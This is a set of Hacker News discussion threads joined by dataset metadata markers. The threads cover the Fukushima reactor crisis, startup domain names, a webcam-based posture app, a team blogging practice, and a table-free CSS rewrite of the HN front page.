pull-git-fetch-and-git-clone-and-git-rebase/)
~B
| {
"pile_set_name": "HackerNews"
} |
Visual Studio App Center is generally available - kartickv
https://arstechnica.com/gadgets/2017/11/visual-studio-live-share-takes-the-pain-out-of-collaborative-coding/
======
kartickv
Seems like an end-to-end solution:
\- Pair debugging
\- Git integration
\- beta deployment
\- run your code on real iOS or Android devices in the cloud
\- build in the cloud
\- patch live applications
\- crash and analytics data
\- live updates of running apps during debugging
\- build UI in XAML.
I generally prefer end-to-end solutions rather than having to assemble what I
need from bits and pieces for each of the above, just as I want to buy a car
rather than an engine, steering wheel and seats and assemble them myself.
| {
"pile_set_name": "HackerNews"
} |
Greece's finance minister used to be Valve's games economist - ethana
http://boingboing.net/2015/01/28/greeces-new-finance-minister.html
======
ratfacemcgee
Varoufakis has been featured heaps on NPR's Planet Money show. In one episode
[1] he was quoted on Australian Radio Show "Late Nite Live" to say:
> "When you have an implosion of the economic sphere, then suddenly the
> political sphere follows suit. And then all sorts of riffraff, like me, come
> out to play."
Varoufakis is truly a fascinating man.
[1][http://www.npr.org/templates/transcript/transcript.php?story...](http://www.npr.org/templates/transcript/transcript.php?storyId=387239084)
| {
"pile_set_name": "HackerNews"
} |
Nuclear Experts Explain Worst-Case Scenario at Fukushima Power Plant - gommm
http://www.scientificamerican.com/article.cfm?id=fukushima-core
======
nazgulnarsil
"we're in a land where probability says we shouldn't be."
You, sir, need better advisors.
~~~
Ratfish
Go easy... "it was the earthquake and tsunami." they didn't go together in any
of the scenarios they ran.
~~~
mbreese
The earthquake and tsunami weren't the coupled failures they were talking
about. It was the loss of external power and backup generators. This is what
they didn't expect, because it is hard to predict the probability of an event
big enough to trigger these two things failing at the same time.
~~~
moe
Yes, it's indeed hard to predict an earthquake to take out the external power
and the subsequent tsunami to take out the backup generators _on a coastline
facility_.
(Note: This was sarcasm)
~~~
mbreese
How big of a tsunami was required? How big of a earthquake would be required
to generate such a wave? How much water would be needed to reach the facility?
How much to damage it? What about damaging backups?
Sarcasm aside, it is easy to predict that the facility would be at risk for an
earthquake/tsunami combo. The hard part is to predict how much of one to
prepapre for. Remember, even in this neck of the woods, the was a quake of
historic proportions.
------
extension
In the case of a meltdown, what exactly is the damage?
~~~
adbge
If a meltdown does occur, damage will depend on whether or not the reactor's
containment structure holds. In the case that it does hold, the plant itself
is FUBAR'd but, otherwise, there isn't significant cause for concern. This
would be analogous to the Three Mile Island accident -- in which a partial
meltdown occurred but was successfully contained.
If the containment structure is breached, the resulting fallout will be
comparable to that of the Chernobyl disaster which, like most Soviet reactors,
had _no containment structure whatsoever._ Wikipedia has a good article on the
effects of the Chernobyl disaster:
<http://en.wikipedia.org/wiki/Chernobyl_disaster_effects>
~~~
Ratfish
Are the containment domes intact in Japan? Edit: found this on IAEA site:
"Containment remains intact at Fukushima Daiichi Units 1, 2 and 3". It doesn't
even mention the 4th, but does say the explosion occurred outside unit 1s
primary containment dome. What does that mean? It's outer shield is wrecked?
~~~
cnvogel
There's no containment dome.
<http://i.imgur.com/CckjP.jpg> (X)
The reactor is the red cylinder in the middle, the containment is the pear-
shaped cavity it sits in, closed on top with the yellow hood and connected to
that torus in the lowest-level which in case of an accident is supposed to
condense the steam back into water, thereby removing heat from the
containment.
The part that's exploded is the flimsy metal "hut" on top of the concrete
building.
(X) from another HN comment I can no longer find, sorry, no attribution for
who posted it initially
~~~
uvdiv
Original was
NRC: "Reactor Concepts Manual | Boiling Water Reactor (BWR) Systems"
<http://www.nrc.gov/reading-rm/basic-ref/teachers/03.pdf>
Here's one with labels:
<http://i.imgur.com/Oj4kg.png>
Magdi Ragheb, "Containment Structures"
[https://netfiles.uiuc.edu/mragheb/www/NPRE%20457%20CSE%20462...](https://netfiles.uiuc.edu/mragheb/www/NPRE%20457%20CSE%20462%20Safety%20Analysis%20of%20Nuclear%20Reactor%20Systems/Containment%20Structures.pdf)
------
Entlin
Why aren't all reactors mandated to keep a huge tank of emergency water at
some height, so that you only need to open some bulkhead and gravity will
ensure that the reactor gets cooled during the 7 or so days it takes to cool
down. No batteries, no diesel, no offsite power needed.
~~~
patrickgzill
This is actually the case for the design of some of the newer ALWR style
reactors.
There are 3 or more holes at different heights, designed so that the most
water flows in the early hours of cooling when the most cooling is needed,
then tapering off to 2 then 1 holes with the water flow lessening over time.
------
nicolas_t
As someone who lives in Shanghai, 1850km away, I wonder if I should go a bit
further away as a precaution? During the Chernobyl accident the nuclear clouds
reached up to 2500 kms away from Chernobyl...
~~~
masklinn
Dominant winds go to the Pacific, even if there is meltdown _and_ containment
breach, California is more at risk than China is.
~~~
nostrademons
As someone who lives in California, 8800km away, I wonder if I should go a bit
further away as a precaution...? ;-)
~~~
codingthewheel
You should probably move away to avoid the air pollution in California.
------
sanxiyn
Things are moving fast. TEPCO(Tokyo Electric Power Company) reported that they
have restored AC power to all units.
[http://www.tepco.co.jp/en/press/corp-
com/release/11031302-e....](http://www.tepco.co.jp/en/press/corp-
com/release/11031302-e.html)
~~~
lispm
No, that is not the plant where the main problems are.
They are talking about the Daiichi reactors here:
[http://www.tepco.co.jp/en/press/corp-
com/release/11031305-e....](http://www.tepco.co.jp/en/press/corp-
com/release/11031305-e.html)
------
rabidsnail
Lesson: Don't build systems whose steady state is a catastrophe.
------
ck2
Serious suggestion for our Japanese friends <http://nukalert.com>
added: looks like they have a page for Japan <http://nukalert.jp>
| {
"pile_set_name": "HackerNews"
} |
HowTo for exotic birds in the Valley? - wuschel
Hi,<p>I am searching for maximum exposure to people of technology/startup background.<p>The thing is: As a soon to be PhD in Chemistry with experience in biotechnology I am a rather exotic bird in the business. I am a self taught python programmer, and had plenty of different jobs as side projects. Chance got me involved with the startup world and gave me some steep learning curve in the field with two failed projects (gastronomy point of sales system, luxury goods marketing and distribution company) in Berlin, Germany.<p>Unfortunately, getting in touch with the right people is the biggest problem: It is hard to assemble the right team in Germany, as most graduates with technical skills make a run for the large companies of the well paying industrial sector. Also, the city of Berlin, the so called "Silicon Valley" of Germany, is not the super shiny place it seems. There is a lot going on there in terms of startups, but it is mostly on-line marketing/sales/media/advertisement, a territory discovered long ago.<p>I am not afraid to get my hands dirty and "wet" - on the contrary, I love science, and love the stuff companies like mc10 inc do. However, I am well aware of the advantages of IT based products over chem/bio/medical products when it comes to development, risk and initial investment.<p>I can think, work hard, communicate, I love technology. So, where do I have to go to get the maximum exposure and build a good startup raft? Is the Valley something for me? Shall I buy a ticket and just fly there, like I did it with Berlin? Is there any place in Europe that could be compared to it?<p>I would be grateful for any directions, contacts, hubs etc, that could speed up my search.<p>Regards,<p><pre><code> piotr
pioja at gmx dot net</code></pre>
======
bonemachine
If for no other reason than to get it out of your system -- this idea of The
Valley as a promised land for entrepreneurs -- then by all means, go for it,
and buy that plane ticket.
Just be prepared for the fact that culturally speaking, The Valley might come
off as something of a rude surprise compared to Berlin (or just about any
major hub in Europe).
~~~
wuschel
Hi,
thanks for your comment. I was by no means speaking about an escape - I would
probably go to Myanmar or the Falkslands to achieve that - but to get better
exposure to technologically oriented entrepreneurs. Although I must say that
probably you are right about the impending culture shock, or whatever you
might mean by 'rude surprise'.
------
S4M
OT, but you'd better change the title of the submission. I thought it was
about someone who wanted to bring parrots in the Silicon Valley.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: Can't get .com or .net, what's the next best extension? - chowlet
Working on a startup and can't get the .com or .net of the company name. Which extension is best: .me, .ly, .co, or something else?
======
pg
Choose another name, not another extension.
~~~
chowlet
I hear you. Usually I'm not wedded to things like this, but this is one time
that the name perfectly communicates the product to different user bases.
People will instantly know what the product is for--instantly.
~~~
coderdude
I was more or less wedded to a previous name choice for my startup but I
couldn't secure the name or even a good variation of the name so I started
thinking of a new name. I ended up with something way cooler that conveys my
mission even better than the previous name. I'd never go outside of a .com for
my business domain.
I think your best bet is to look for a new name. Really, you're only setting
yourself up for issues with telling people your domain name/having people try
to figure out how to type it in if you go with some country's TLD for your
domain. Not to mention you're at the mercy of that country's policies. They
could change their policies at any time and snatch your domain if they wish.
Don't do that to yourself.
~~~
chowlet
I'll put some thought into this. Appreciate hearing your story.
~~~
o1iver
I had the same problem a few days ago, maybe this little script will help you:
<http://blog.o1iver.net/post/3216036200/python-domain-finder>
------
JonathanWCurd
I also agree that it depends on if another extension makes sense.
For example:
If you are buying a .me (or other extension) just because .com and .net are
gone and it doesn't relate then pick another name. If you are buying a .me (or
other extension) and it relates like about.me then go for it.
~~~
JonathanWCurd
Also its possible that soon we will have all sorts of custom extensions from
custom providers / companies and then people will have to start paying more
attention to the extension of the domain as well as just the name.
~~~
chowlet
Good point, ICANN is soon to offer customized domain extensions. It costs
$185K to apply. Wonder what it'll be like to see .sports or .love or .cars?
------
groby_b
Depends - .me for personal services, .info for information, .ly if you want to
appeal to the hip crowd ;)
Kidding aside, it might be worth thinking of a different name. .com is the
"default" internet extension, and getting people to use a different TLD is a
bit of an uphill battle
| {
"pile_set_name": "HackerNews"
} |
Alvin M. Marks, Inventor With 122 Patents, Dies at 97 - terpua
http://www.nytimes.com/2008/05/31/business/31marks.html?_r=1&adxnnl=1&oref=slogin&partner=rssnyt&emc=rss&adxnnlx=1212226838-T15cuuKBRHjOfl0mP7FkRQ
======
terpua
Alvin Marks >= Hank Rearden
| {
"pile_set_name": "HackerNews"
} |
Show HN: Slouch Stoppah - lnenad
https://slouchstoppah.com
======
Noumenon72
Good habit formation can't hurt, but don't neglect the fundamentals. The thing
that's pulling your shoulders forward is not some mental weakness on your
part, it's an imbalance in muscle tightness and weakness, like a tent pole
with regular guy wires on one side and yarn on the other. You need exercises
to strengthen the lower traps like floor Y's and chest supported dumbbell row,
plus face pulls and scapular wall slide.
[https://1h6wllf3f4qfut1832zlo21e-wpengine.netdna-
ssl.com/wp-...](https://1h6wllf3f4qfut1832zlo21e-wpengine.netdna-ssl.com/wp-
content/uploads/upper-body-cross-syndrome.jpeg) (upper cross syndrome diagram)
[https://www.t-nation.com/training/top-priority-for-lower-
tra...](https://www.t-nation.com/training/top-priority-for-lower-traps) (prone
Y)
[https://www.menshealth.com/fitness/a19521507/chest-
supported...](https://www.menshealth.com/fitness/a19521507/chest-supported-
dumbbell-row/) (chest supported dumbbell row)
[https://www.t-nation.com/training/whats-your-weak-
link](https://www.t-nation.com/training/whats-your-weak-link) (scapular wall
slide)
------
lnenad
I've made this for myself to help me slouch less, so I thought it might be
useful to others. It uses face-api.js to get the user's face, and then tries
to guess when you're slouching by capturing the state when you are sitting
upright, and then using position and face size in relation to the captured
state. All processing is done client side and no data is being sent anywhere.
The code is open sourced and can be seen here
[https://github.com/lnenad/slouch-stoppah](https://github.com/lnenad/slouch-
stoppah)
------
colordrops
Daily Mysore yoga and a standing desk will also completely fix posture without
needing constant reminders or cyborg devices, but require more effort. There
are other great benefits though, such as weight loss, core strength, and pain
reduction.
~~~
greggman2
And foot destruction (or at least that was my experience and I had to give up
the standing desk) YMMV
~~~
tcoff91
One needs to be smart with transitioning to standing while working. Just going
into it blind isn’t smart. Deskbound by Kelly Starett has a good protocol for
transitioning.
~~~
derefr
How about for people with fallen arches? No length "transition period" can be
expected to work out, if standing for hours just isn't in the cards for you,
physiologically.
~~~
friendlybus
My feet are fairly flat and doing basic deadlifts helped move my posture from
knees rolling in, toes gripping the floor to my feet resting along the edges
of the foot, up to the ball of the foot and my knees straightening out. It
helps the lower back and the strain in neck muscles too.
Standing desks are a significant change. I got a small amount of swollen
ankles the first day of standing for hours. But it works now.
~~~
viburnum
This is really interesting. Why dead lifts?
~~~
friendlybus
It was just an idea floating around the circles I used to visit. I knew it
improved posture so I tried it. I was also having lower back issues and
general excessive computer use problems. Works well enough.
Deadlifts miss the muscles in the shoulder that tighten up from too much mouse
+ kb. I haven't found an excersize for that, which is as effective as
deadlifts. Pushing your arms back in a door frame, holding your elbows above
shoulder height, helps roll back each shoulder and stretch a tight muscle that
goes from the top of your shoulder to the front of your chest that gets tight
when hunched over a kb. That works in the short term, but it doesn't give the
effective feeling of strengthening those muscles in such a way that the
problem recurs much more slowly, like deadlifts do for your legs/back/neck.
I've tried hanging from a pullup bar and that certainly helps reset the
shoulders/neck/head tension, but it's not a fix in the same way gaining
strength is a fix.
~~~
pgt
Anecdote: Indoor rock climbing fixed my back & shoulder pain from computer
work completely, as well as keep my wrists strong for typing and guitar.
~~~
friendlybus
Nice!
------
nchelluri
[https://medium.com/@nchelluri/you-deserve-a-pull-up-
bar-84ec...](https://medium.com/@nchelluri/you-deserve-a-pull-up-
bar-84ec9aabdeb3) is my alternative
~~~
Noumenon72
One of the bullpens at my new job pitched in and got a pull-up stand! It
brings people to visit and makes the place feel like we own it a little.
That's a good selling point that it causes you to rotate your shoulder blades
back and up. Hanging leg lifts can also be done and are also a much more
effective ab exercise than situps (since it only takes 10 reps to get tired,
and you can bring your knees closer or farther away to adjust the resistance).
~~~
closeparen
We had one, until a bean counter had it removed over liability risk.
------
pipu
Very nice work! Thanks for sharing.
I can personally recommend Upright Pose, [https://www.uprightpose.com/en-
try/](https://www.uprightpose.com/en-try/)
~~~
kareemm
What benefits did you get from it?
------
viburnum
If your posture is so bad that you literally can’t or don’t know how to stand
up straight, your hamstrings might be super tight. Mine were, anyway.
~~~
knowmad
I too have bad posture and super tight hamstrings. Any tips of improving one
or both of those things?
~~~
danenania
I've found strength training with bodyweight exercises to help immensely with
both. I'm following the "recommended routine" from the /r/bodyweightfitness
subreddit. [1]
On hamstring tightness: often when muscles are tight, it's due to a strength
imbalance. Runners tend to get tight hamstrings because they work their quads
a lot and the hamstrings don't keep up. So while it's a bit of an
oversimplification to say that if certain muscles are chronically tight, you
can fix that just by making them stronger, it's not too far off. For me it was
really that simple: strengthening my hamstrings with hip hinges [2] made them
noticeably less tight within about a month.
For posture it's basically the same idea. I always thought posture was like a
force of will/discipline/habit thing until I finally felt how much easier it
is to have that "discipline" after moderately strengthening my back, chest,
core, and legs. Standing or sitting up straight is actually a lot of work for
our bodies. And if it's basically the hardest thing you regularly subject the
relevant muscles to, it's not too surprising that they will get tired out
quickly. But if you start doing things that are much harder for each muscle
group (like planks, push ups, rows, squats, hinges, etc.), then simply holding
yourself up straight gets much easier.
1 -
[https://www.reddit.com/r/bodyweightfitness/](https://www.reddit.com/r/bodyweightfitness/)
2 -
[https://www.youtube.com/watch?v=11I-ZWWNGDI](https://www.youtube.com/watch?v=11I-ZWWNGDI)
------
raldi
I can't get the initial overlay to close (Chrome on iPhone). Neither the close
button nor the X do anything.
------
uvisgrinfelds
Love it, already started using it. I was thinking of making something similar;
now I don't have to! Thanks.
~~~
lnenad
Thank you, since you wanted to make something similar if you have any
suggestions feel free to let me know :)
------
chrisbennet
"slouching" in the other direction is supposed to be good.
'[http://news.bbc.co.uk/2/hi/health/6187080.stm](http://news.bbc.co.uk/2/hi/health/6187080.stm)
------
Yenrabbit
Started up my own version of this ~10 seconds before I saw this story. It's
amazing how a simple program ("yell at the user if face position < threshold")
is enough to quickly train some better habits.
------
xwowsersx
Very cool. My camera is capturing, but the button for "capture current
position" is never enabled. What am I doing wrong here?
~~~
lnenad
Hmm sorry to hear that, can you maybe open the browser console and see if
there are any errors?
~~~
xwowsersx
Works just fine in FF, but also a bit of a hog on resources? I think it'd be
better if it maybe just started/stopped capturing every N minutes or even just
used photos instead of video? Presumably, you can do the same analysis with
just a photo?
~~~
lnenad
I know it takes a lot you can increase the interval to reduce it. Good idea
though, although starting and stopping of the camera can maybe be
buggy/suspicious behavior. I'll definitely add it as an option.
------
hammerbrostime
Bostonian?
~~~
lnenad
Nope, why?
~~~
mattmar96
"Stoppah"
------
29athrowaway
There are also electronic posture training devices to help with this.
~~~
tinktank
Can you recommend any?
| {
"pile_set_name": "HackerNews"
} |
Power Blogging Hour (and Why You Should Have One Too) - robert_mygengo
http://mygengo.com/talk/blog/power-blogging-hour-and-why-you-should-have-one-too/
======
pamelafox
It's a good idea to make sure that you write a certain amount each week (both
for personal brand and startup brand).
I personally find that there are some days where I am incredibly driven to
write, with the words brimming over in my head, and other days where I don't
feel that at all - so I usually wait for the overwhelming urge to come instead
of forcing it at a particular time, as I think that makes the writing easier
and better. But then, there are some weeks where it never comes.
Perhaps there's some happy medium which both allows for creative spontaneity
but ensures consistent weekly output.
~~~
atgm
I recently started a daily blog that I've given to a few close friends -- I
write about anything and everything that I want to, from things that happened
to me during the day to rants about whatever topics bothered me on a given
day. Worrying about my audience and personal brand tended to hinder me in the
past, so this time I'm trying to just write daily and not worry about that
kind of thing. I'm averaging over 1000 words a post.
------
holdupadam
My mom used to have a power cleaning hour when I was growing up and that house
was spotless! I can see how this kind of focused attention is great for
getting through things that are a bit annoying to do.
_edited for cussing_
------
atgm
This is an interesting idea, but I'm not super clear on what happens to the
posts after they're written. Do you have a separate blog for people to look at
and associate with the company, or do you have an internal-only blog for the
posts?
Do you ever worry about image problems from opinions posted in PBH posts --
especially here in Japan?
~~~
robert_mygengo
Oh: we have Tim, our resident blog editor, review the posts and tidy them up,
then schedule them for during the week. We share the posts so we can all have
a look before they go up.
Image problems in Japan? Not yet... we're not super careful at the moment but
we're also pretty sensible people too.
~~~
chirish
>PBH Nice!
~~~
robert_mygengo
Yeah I am pretty happy about the fact that I got an acronym
------
jochenit83
I consider it an advantage to have a certain workload every week, but for this
it is helpful to have a blog where you keep ppl up-to-date about your work if
you have the time to blog. It also helps interact with others who may give you
brilliant ideas who would otherwise maybe not have thought of before
------
Ellz
Great stuff here. Reminds me of high school when we had 15 minutes of "free
write" in writing classes . We were instructed to just write for 15 minutes
straight - anything that comes to mind. Some of my prized work came out of
those sessions. Great advice!!!!
------
asaeda
Decided to restarting my blog which hasn't been updated for the last 10
months.
------
Schmelsson
We've been doing some version of this for about a month, but now I feel like
it's time to step it up! Good advice in here!
| {
"pile_set_name": "HackerNews"
} |
Show HN: HackerNews reimagined without tables or center elements. - sergiotapia
http://coderwall.com/p/-vqwfg
======
pooriaazimi
(off-topic) What is wrong with Coderwall? They're worse than Google+ and the
stupid "Join Google+" bar... If someone wants to join, they will. No need to
rub it in their face. At least have the decency to show a close button...
_In case it's not clear, I'm talking about the stupid, 105px tall black bar
that asks you to "Join Coderwall" when you start to scroll_
~~~
bitsweet
Founder here...we have been experimenting on variations of a bar with the goal
that someone that stumbles upon a pro tip like this one can discover more
about Coderwall. I agree that it looks a little big, intentions were not to be
obnoxious - we'll be fixing that.
~~~
fijal
While you're at it - on 13'' screen and 2 year old machine your site is
absolutely unreadable and unusable. There is a little bit of text in the
middle and vast swaths of space with strange blurred colors occupying most of
my visible space. Then the black bar. Selecting text takes forever (some JS
tricks? I dunno?).
Generally speaking I find arguments about usability from someone who can't
present their own blog a little dubious.
~~~
fredBuddemeyer
if you're trying to help this guy tell him what your browser, os, and screen
resolution are.
if you're trying to stifle those that would make contributions to this
community then keep doing what you are doing.
~~~
fijal
it seriously does not matter. the pixel sizes are hardcoded so it'll look
unreadable on any small screen, your particular OS does not matter. my
resolution is 1440x900 if this helps.
------
geuis
We go through this every now and then. Hell, I even replicated the exact HN
look, on a project that pg asked me to shut down a couple years ago, using a
much simplified div/CSS structure.
Point is, it doesn't matter.
Yes, could HN be totally revamped? Sure, there are thousands of capable
engineers in the community that could and have done it. Should it be? Meh.
Honestly, it just works. Its pretty stable. I read HN as much from my phone as
a laptop. I've tried the various alternate UIs and iOS apps, but I always just
come back to the site.
I'm probably not the only old-timer that feels this way, but there are plenty
of alternative UIs for those that want them, and indeed they use them.
HN is a great lesson in the "don't fix it if it ain't broke" methodology of
engineering. 2000+ year old Roman aqueducts are still used in some places in
Europe. If somethings doing the job it was designed for, you don't have to
upgrade the concrete just because you have newer cement.
~~~
tucson
I think the UI matters. HN is great but I feel the commenting system could be
_greatly_ improved. Collapsable threads anyone? In general I wish HN would use
a StackOverflow-like system (rep and votes on comments).
~~~
skyhook_mockups
I give up on long threads. There's no way to know at a glance which comments
I've already read which makes keeping up-to-date on a quick moving discussion
so painful I just give up. A simple colour coding of replies would make it
much easier to revisit a thread.
~~~
Macha
There's also no point posting on a thread after the comments start paginating,
as maybe 10% of people will go to the second page to view it, and you'll get
no replies, in my experience.
------
pooriaazimi
While you're at it, change the "static" up-vote triangle to this unicode
character: ▲ <http://www.fileformat.info/info/unicode/char/25b2/index.htm> so
it scales nice on high-dpi devices, or simply when you zoom-in in a desktop
browser.
~~~
ChiperSoft
I don't feel like firing up my IE VM to test it myself, but are you certain
that character is browser safe? I've run into a lot of issues with unicode
glyphs not working on vanilla IE8 machines that didn't ship with fonts
containing them.
~~~
robin_reala
Does anyone on HN use IE6/7/8? I’d guess that this is a more web savvy place
than that.
~~~
gaelian
Individual web savviness doesn't always come into it. There are those here who
work within environments that mandate less than cutting edge browsers.
~~~
robin_reala
Chrome doesn’t need admin rights to install for what it’s worth. Although I
have to say that if I was working for a company that mandated IE8 or lower as
the solitary browser I’d be planning my exit. Maybe I’m just spoiled by
working for a web agency.
------
akdetrick
It's not just an argument of preference when programmers suggest not using
tables for layout - it's about using a best practice and a standard instead of
an old hack that is a habit many are lazy to break in an age when most
browsers have excellent CSS support.
This is what a screen reader emulator tells me the front page of HN sounds
like:
"Page has one hundred thirty links Hacker News dash Internet Explorer Table
with one column and ninety-eight rows Table with three columns and one row
Link Graphic slash yeighteen .gifLink Hacker NewsLink new vertical bar Link
comments vertical bar Link ask vertical bar Link jobs vertical bar Link
submitLink login Table end Table with three columns and ninety-two rows"
Of course, anyone actually using HN with a real screen reader will probably
only get the links list from their reader, knowing how useless the supporting
markup is (aside from the table layout, HN doesn't use meaningful heading
tags).
There are many more reasons not to use tables for layout, but accessibility
should be enough of a reason alone to stay away from layout tables.
------
hellweaver666
Instead of numbering the articles, you should put them in an OL instead of a
UL, then you'll get automatic browser generated numbers and save a few more
bytes.
~~~
jurre
That would only work on the front page though, wouldn't it? Once you click the
"more" link it would just start from 1 again.
~~~
pyre
That could be fixed with:
<ol start="21">
<li>
<li>
</ol>
~~~
jurre
Cool, learned something!
------
scott_s
This comes up from time to time. From over a year and a half ago:
<http://news.ycombinator.com/item?id=2019950>
And from almost five years ago: <http://news.ycombinator.com/item?id=50159>
------
pavel_lishin
Nitpick: what's up with the underlines to the right of the up-arrows?
<http://i.imgur.com/PSPES.png> (OS X 10.7.4, Chrome 21.0.1180.57)
Bigger nitpick: I'd rather have a fix for functionality than for loading some
extra data. The "next" page problem still occurs, and it would be nice to know
when someone responds to a comment.
~~~
simba-hiiipower
_"...and it would be nice to know when someone responds to a comment."_
<http://hnnotify.com/>
~~~
pavel_lishin
I mostly want other people to be aware of it - often times, I'll ask a
question and never get a response. I don't know if that person is just
ignoring me, or if they have no idea.
~~~
simba-hiiipower
very true; clearly it would be best to have it actually integrated into the
site itself. or, at the very least, throw-up a link to HN Notify on the
profile/settings page..
~~~
gaelian
There is the notifo option on the profile page, which I've been using
successfully for some time.
It also doesn't address the 'mostly want other people to be aware of it' part
though.
~~~
WickyNilliams
When i saw this i thought "Wow! This is something I wasn't aware of", grinning
with delight. Then when i went to the profile page, hoping to see a simple
opt-in/out via a checkbox. Instead I'm greeted with a mysterious text box with
indication as to what I'm supposed enter.
I've assumed email address for now, let's see if I'm right!
~~~
gaelian
Yeah, it is a little cryptic isn't it. I should have been less so with my
comment. To get it working:
1\. Sign up for an account at <http://notifo.com>
2\. Download one or more of their client applications here:
<http://notifo.com/mobile_apps> and enter your details
3\. Enter your notifo username in the box on your HN profile page.
I think the reason this facility exists here on HN is because Notifo is a Y
Combinator company.
~~~
simba-hiiipower
thanks for the info; was always wondering what exactly that box was for..
unfortunately, given that i have a Windows Phone and they only seem to have
completed an iPhone app, this doesn’t cut it for me personally (and i’m
assuming for many others on Android as well). also, it seems they’ve closed
down, so no hopes for further support coming anytime soon, if ever:
<http://blog.notifo.com/notifo>
and i get that it was a YC Company and hence it probably made sense to feature
them there (as it really could have added value to the site if widely adopted)
but, as it’s gone, i really think the optimal solution would be to replace it
with something like HN Notify which is platform agnostic (just need an email).
~~~
gaelian
That is sad news (and I somehow missed this until now). I thought it was a
good little service, I have been using it for a personal project too.
Indeed, something like HN notify would seem to be the go for me now also.
------
martin-adams
>> but the browser will render it faster because it has less to do
Is that strictly true? My thinking is that you may be able to express
something in less notation, but the browser may have to calculate more to
render it (such additional reflows or CSS lookups). Just saying. Reality is
that it probably will be faster.
But I like the point that table-less designs do save on bandwidth and
maintainability.
------
amccloud
You should replace the <li>|<li> with li:after { content: " | "; }
~~~
sergiotapia
Does that work on older browsers? (Meaning IE8 and above)
~~~
arscan
I used to do this with a right-border, not sure if that's a best practice
these days or not. You could do something similar in between the
date/link/comment sections underneath a given link as well (since it logically
is a list).
~~~
lojack
right-border prevents users from copying the "|" character, which always
seemed like the correct behavior to me.
~~~
dbaupp
I think generated content (i.e. created by using the :after pseudo-element)
also is not selectable or copyable.
------
ColinWright
Doesn't load at all on two of the browsers I use. Yes, no doubt you'll say
"Well, upgrade to a better browser!" but I can't upgrade on those platforms.
So you're advocating making the site genuinely unusable for me.
~~~
glassx
Isn't the problem with JSBin (or CoderWall)?
His updated version of Hacker News isn't really that complex or incompatible
with older browsers.
~~~
ColinWright
Coderwall loads, although it looks completely dreadful. Then I clicked on
<http://jsbin.com/ewufof/3/edit> and that doesn't load. I get the very
attractive spinning graphic, and that's all she wrote.
It would be nice to see if the HN alternative worked.
~~~
cilo
You might want to try <http://jsbin.com/ewufof/21> so you get the actual page
and not the JS Bin edit interface.
~~~
ColinWright
Thank you!
Now when I get some time a little later I can have a look at the source and
see what's going on.
Cheers!
------
EzGraphs
The problem I have with HN style by default is:
1) It is hard to tell what has changed recently (new comments, votes, changes
in ranking)
2) The information is kind of crammed together and not lined up.
3) I hit refresh every few minutes
Am not a a designer, so had my son who has an eye for it help out on styling:
<http://hn4d.com/>
~~~
achal
Just a heads-up, the `font-weight:700` on anchor tags causes some issues
(Firefox 17, Win 7)
Your site: <http://imgur.com/ZYObO> Without the font-weight rule:
<http://imgur.com/qfEaz>
~~~
EzGraphs
Thank you - reported to the design team :).
------
huhtenberg
Not to nitpick, but - <http://imgur.com/6xgeK>
~~~
dfc
Hardly a nitpick. What are those things next to all the links on the bottom. I
get them iceweasel 14 too...
------
davidarkemp2
This is a nice idea, but your css is horribly inefficient (using `.nav
ul.actions li a` as a selector for example). I'm also a bit of a convert to
<http://smacss.com/> \- make your html/css a bit more declarative rather than
relying on nested selectors to apply rules.
~~~
lazyjones
Agreed, the CSS is really inefficient, for every anchor tag, the browser has
to traverse the DOM up to the root element 6 times (not including the hover
rules) ... It's a shame that so many developers don't know this (it's not very
intuitive though).
~~~
ceol
CSS optimization should be the last thing a developer does, if at all. Most of
the time, it's not worth it.
As a general rule, just be as concise as possible. `.nav ul.actions li a`
could be turned into `.actions a` as long as it's alright for the .action
anchor tags _not_ in the .nav element to have the same style. But if you use
.actions elsewhere and want the .actions list to look different in .nav,
_that's fine_.
------
stcredzero
_> The point I'm trying to make is that using <table> elements for layout is
bad and you should feel bad for using them. If you tried modifying something
in original HN it would take a long time._
If you made the same point but removed the "should feel bad" bit, the point
would be even better.
~~~
munificent
Just in case you aren't aware, "is bad and you should feel bad" is a meme from
Futurama, so the author was probably just trying to be funny.
------
danielsju6
I use Georgify (Chrome Extension) makes things a lot better, I've actually
forgotten what HN is like without it (yuck!)
[https://chrome.google.com/webstore/detail/ofjfdfaleomlfanfeh...](https://chrome.google.com/webstore/detail/ofjfdfaleomlfanfehgblppafkijjhmi)
~~~
neeee
Or if you like dark themes; <http://userstyles.org/styles/71155>
------
VMG
Hacker News should have an API.
~~~
ianbishop
There is one! <http://www.hnsearch.com/api>
~~~
username3
_HNSearch data is about ~15min behind HN._
[https://groups.google.com/forum/?fromgroups#!topic/hnsearch/...](https://groups.google.com/forum/?fromgroups#!topic/hnsearch/wjBFEr5TvcY%5B1-25%5D)
------
sep
As another example, I wrote a HN clone the 'right' way:
<https://bitorama.com>. It even supports right-to-left!
------
novamantis
Probably get down voted. But this makes it bearable for me at least. _No
Firefox Allowed Club_
<http://userstyles.org/styles/70289/hacker-news-w-gsu> AND
[https://chrome.google.com/webstore/detail/stylish/fjnbnpbmke...](https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe)
------
Kilimanjaro
This is the right time for nReduce to start a news aggregator site, with the
latest bells and whistles, and start competing with HN in quality content.
Show the latest startups they're incubating, the best advice from their
investors, that would be the best place to follow up on what's going on over
there.
One last thing, add a little red envelope to the header and you win my upvote.
~~~
Kilimanjaro
My shot at a HN redesign:
<http://georgenava.appspot.com/demo/hn/index.html>
------
Charles__L
I agree with removing tables for layout, but I think it's OK to use them for
the posts.
Maybe an unordered list would work even better.
The point is, tables are good for what they are made for: tabular data.
We don't have to cheat anymore, CSS and HTML have had moved forward a lot.
Changing HN wouldn't be too much work and would help keep it with the times.
------
lindbergh
Tables are easier to code for a functional programmer. That's why.
------
goldenchrome
The main things I dislike about HN:
* Comments are allowed to get too wide for easy reading.
* OP text color is too uncontrasted from the background.
Other than that, I don't see a reason why it needs a revamp.
~~~
repsilat
> * OP text color is too uncontrasted from the background.
IIRC this was intentional - the low contrast was meant to make people keep
their message to the point instead of posting screeds of text in "self posts".
If you want to say something meaningful you should host it off-site, if you
want to discuss something with the community you should follow up in the
comment thread.
I don't have strong feelings either way, though I do tend to select the text
for better contrast when it gets long.
------
jasonkester
Anybody care to comment on whether this is intended to be ironic? It replaces
a clear, concise table layout with a somewhat more verbose CSS version for
seemingly no reason.
Had the author attacked the threaded comment page (which might actually
benefit from using nested lists) rather than the tabular submissions page, I
might be less confused.
As it stands though, I find I'm confronted with the least convincing attack on
tables I've seen in a while (and I tend to put myself in the "CSS over tables"
camp normally).
~~~
nickknw
